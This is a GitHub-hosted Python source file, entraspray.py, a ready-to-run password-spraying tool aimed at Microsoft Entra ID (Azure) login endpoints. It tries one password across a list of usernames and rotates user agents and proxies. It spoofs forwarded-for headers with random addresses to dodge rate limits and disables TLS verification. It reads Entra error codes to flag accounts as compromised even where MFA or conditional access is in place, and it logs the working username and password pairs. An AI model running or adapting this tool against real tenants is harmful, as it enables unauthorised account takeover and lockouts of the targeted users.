-
Notifications
You must be signed in to change notification settings - Fork 1
/
entraspray.py
executable file
·426 lines (389 loc) · 16.3 KB
/
entraspray.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
import argparse
import requests
import time
import random
from datetime import datetime
from colorama import Fore, Style
import random
import sys
import os
import shutil
import urllib3
def log_message(message, full_log=None, compromised_users_log=None, color=None, print_to_console=True):
timestamp = datetime.now().strftime("%d-%m-%Y %H:%M:%S")
if print_to_console:
if color:
print(f"[{timestamp}] {color}{message}{Style.RESET_ALL}")
else:
print(f"[{timestamp}] {message}")
if full_log:
full_log.write(f"[{timestamp}] {message}\n")
if compromised_users_log:
compromised_users_log.write(f"[{timestamp}] {message}\n")
def check_file(file_path, file):
try:
with open(file_path) as f:
if not any(line.strip() for line in f):
raise ValueError(f"{file} file is empty.")
except FileNotFoundError:
print(f"{file} file '{file_path}' not found.")
sys.exit(1)
except ValueError as e:
print(str(e))
sys.exit(1)
def create_directory(directory):
if not os.path.exists(directory):
os.makedirs(directory)
def generate_ip():
return f"127.{random.randint(0, 255)}.{random.randint(0, 255)}.{random.randint(0, 254)}"
def parse_arguments():
parser = argparse.ArgumentParser(
description="Perform password spraying against Microsoft Azure accounts.",
formatter_class=argparse.RawTextHelpFormatter,
epilog="Example Usage:\n\n"
"python entraspray.py -u userlist.txt -p Password123\n",
)
parser.add_argument(
"-u",
"--userlist",
required=True,
help="Path to a file containing usernames one-per-line in the format '[email protected]'",
)
parser.add_argument(
"-p",
"--password",
required=True,
help="Password to be used for the password spraying.",
)
parser.add_argument(
"--url",
default="https://login.microsoft.com",
help="URL to spray against.",
)
parser.add_argument(
"-d",
"--delay",
type=int,
default=0,
help="Number of seconds to delay between requests.",
)
parser.add_argument(
"-v",
"--verbose",
default=False,
action="store_true",
help="Show invalid password attempts.",
)
parser.add_argument(
"-f",
"--force",
default=False,
action="store_true",
help="Force the spray to continue even if multiple account lockouts are detected.",
)
parser.add_argument(
"-x",
"--proxy",
type=str,
required=False,
help="Specify a proxy host to send all traffic through (e.g., http://your-proxy-host:port)",
)
parser.add_argument(
"--debug",
default=False,
action="store_true",
help="For debugging - Show web request and response.",
)
return parser.parse_args()
def entra_spray(
url, user_list_file, password, delay, user_agents_file, force, verbose, debug, proxy
):
usernames = [line.strip() for line in open(user_list_file)]
user_agents = [line.strip() for line in open(user_agents_file)]
count = len(usernames)
lockout_count = 0
lockoutquestion = 0
compromised_users = []
output_directory = datetime.now().strftime("output/%d-%m-%Y_%H-%M-%S")
create_directory(output_directory)
# backup original userlist input file
user_list_file_backup = os.path.join(
output_directory, os.path.basename(user_list_file) + ".bak"
)
shutil.copyfile(user_list_file, user_list_file_backup)
full_log_filename = os.path.join(output_directory, "full.log")
compromised_users_log_filename = os.path.join(
output_directory, "compromised_users.log"
)
with open(full_log_filename, "w") as full_log, open(
compromised_users_log_filename, "w"
) as compromised_user_log:
log_message(
f"[*] Logging output to {output_directory}",
full_log,
)
log_message(
f"[*] There are {count} total users to spray.",
full_log,
)
log_message(
f"[*] Now spraying Microsoft Online.",
full_log,
)
non_compromised_users = []
for username in usernames:
if delay:
sleep_time = delay
time.sleep(sleep_time)
user_agent = random.choice(user_agents)
body_params = {
"resource": "https://graph.windows.net",
"client_id": "1b730954-1685-4b74-9bfd-dac224a7b894",
"client_info": "1",
"grant_type": "password",
"username": username,
"password": password,
"scope": "openid",
}
post_headers = {
"Accept": "application/json",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": user_agent,
}
if debug:
log_message("[*] Request Details:")
log_message(f"[*] URL: {url}")
log_message(f"[*] Headers: {post_headers}")
log_message(f"[*] Data: {body_params}")
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
if proxy:
proxies = {
"http": proxy,
"https": proxy,
}
if not proxy:
proxies = None
# Add "X-My-X-Forwarded-For" header for Firprox (if "microsoft" is not in the url value)
# Use a random localhost (127.X.X.X) address for each request
r = requests.post(
f"{url}/common/oauth2/token",
headers={
**post_headers,
**(
{"X-My-X-Forwarded-For": generate_ip()}
if "microsoft" not in url
else {}
),
},
data=body_params,
proxies=proxies,
verify=False,
)
if debug:
log_message("[*] Response Details:")
log_message(f"[*] Status Code: {r.status_code}")
log_message(f"[*] Headers: {r.headers}")
log_message(f"[*] Body: {r.text}")
if r.status_code == 200:
log_message(
f"[+] {username} : {password}",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.GREEN,
)
compromised_users.append(f"{username} : {password}")
else:
# Check for error codes in response
# List of Entra ID error codes - https://learn.microsoft.com/en-us/entra/identity-platform/reference-error-codes
resp_err = r.text
if "AADSTS50126" in resp_err:
# Standard invalid password
non_compromised_users.append(username)
log_message(
f"[*] Valid user, but invalid password {username} : {password}",
full_log,
color=Fore.CYAN,
print_to_console=verbose,
)
elif "AADSTS50055" in resp_err:
# User password is expired
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: The user's password is expired.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.GREEN,
)
elif "AADSTS50079" in resp_err:
# Microsoft MFA required but not configured
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: MFA required but not configured yet.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.GREEN,
)
elif "AADSTS53004" in resp_err:
# User should register for multifactor authentication
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: User needs to complete the MFA registration process.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.GREEN,
)
elif "AADSTS50076" in resp_err:
# Microsoft MFA response
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: The response indicates MFA (Microsoft) is in use.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.YELLOW,
)
elif "AADSTS50158" in resp_err:
# Conditional Access response (Based off of limited testing this seems to be the repsonse to DUO MFA)
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: Conditional access policy (MFA: DUO or other) is in use.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.YELLOW,
)
elif "AADSTS53003" in resp_err:
# Conditional Access response - access policy blocks token issuance
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: Conditional access policy is in place and blocks token issuance.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.YELLOW,
)
elif "AADSTS53000" in resp_err:
# Conditional Access response - access policy requires a compliant device
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: Conditional access policy is in place and requires a compliant device, and the device isn't compliant.",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.YELLOW,
)
elif "AADSTS530035" in resp_err:
# Access block by security defaults
compromised_users.append(f"{username} : {password}")
log_message(
f"[+] {username} : {password} - NOTE: Access has been blocked by security defaults. The request is deemed unsafe by security defaults policies",
full_log,
compromised_users_log=compromised_user_log,
color=Fore.YELLOW,
)
elif "AADSTS50128" in resp_err or "AADSTS50059" in resp_err:
# Invalid Tenant Response
non_compromised_users.append(username)
log_message(
f"[-] Tenant for account {username} doesn't exist. Check the domain to make sure they are using Azure/O365 services.",
full_log,
color=Fore.RED,
)
elif "AADSTS50034" in resp_err:
# Invalid Username
non_compromised_users.append(username)
log_message(
f"[-] The user {username} doesn't exist.",
full_log,
color=Fore.RED,
)
elif "AADSTS500011" in resp_err:
# Invalid resource name
non_compromised_users.append(username)
log_message(
f"[!] The resource principal named was not found in the tenant named.",
full_log,
color=Fore.RED,
)
elif "AADSTS700016" in resp_err:
# Invalid application client ID
non_compromised_users.append(username)
log_message(
f"[!] The application wasn't found in the directory/tenant.",
full_log,
color=Fore.RED,
)
elif "AADSTS50053" in resp_err:
# Locked out account or Smart Lockout in place
non_compromised_users.append(username)
log_message(
f"[!] The account {username} appears to be locked.",
full_log,
color=Fore.RED,
)
lockout_count += 1
elif "AADSTS50057" in resp_err:
# Disabled account
non_compromised_users.append(username)
log_message(
f"[!] The account {username} appears to be disabled.",
full_log,
color=Fore.YELLOW,
)
else:
# Unknown errors
non_compromised_users.append(username)
log_message(
f"[!] Got an error we haven't seen yet for user {username}",
full_log,
)
log_message(resp_err, full_log)
# If the force flag isn't set and lockout count is 10 we'll ask if the user is sure they want to keep spraying
if not force and lockout_count == 10 and lockoutquestion == 0:
log_message(
"[!] Multiple Account Lockouts Detected!",
full_log,
color=Fore.RED,
)
log_message(
"[!] 10 of the accounts you sprayed appear to be locked out. Do you want to continue this spray?",
full_log,
color=Fore.RED,
)
result = input("[*] Press 'Y' to continue, any other key to cancel: ")
log_message(f"[*] User response: {result}", full_log)
lockoutquestion += 1
if result.lower() != "y":
log_message("[*] Cancelling the password spray.", full_log)
log_message(
"[*] NOTE: If you are seeing multiple 'account is locked' messages after your first 10 attempts or so this may indicate Azure AD Smart Lockout is enabled.",
full_log,
)
break
# Write remaining usernames back to the original user list file
with open(user_list_file, "w") as non_compromised_users_file:
for username in non_compromised_users:
non_compromised_users_file.write(f"{username}\n")
if len(compromised_users) > 0:
log_message(
f"[*] {len(compromised_users)} compromised users have been written to {compromised_users_log_filename} and removed from {user_list_file}.",
full_log,
)
else:
log_message("[*] No users compromised.", full_log)
def main():
args = parse_arguments()
# Check if the user list file is empty or not found
check_file(args.userlist, "User list")
# Check if the user agents file is empty or not found
user_agents_file = "user-agents.txt"
check_file(user_agents_file, "User agents")
entra_spray(
args.url,
args.userlist,
args.password,
args.delay,
user_agents_file,
args.force,
args.verbose,
args.debug,
args.proxy,
)
if __name__ == "__main__":
main()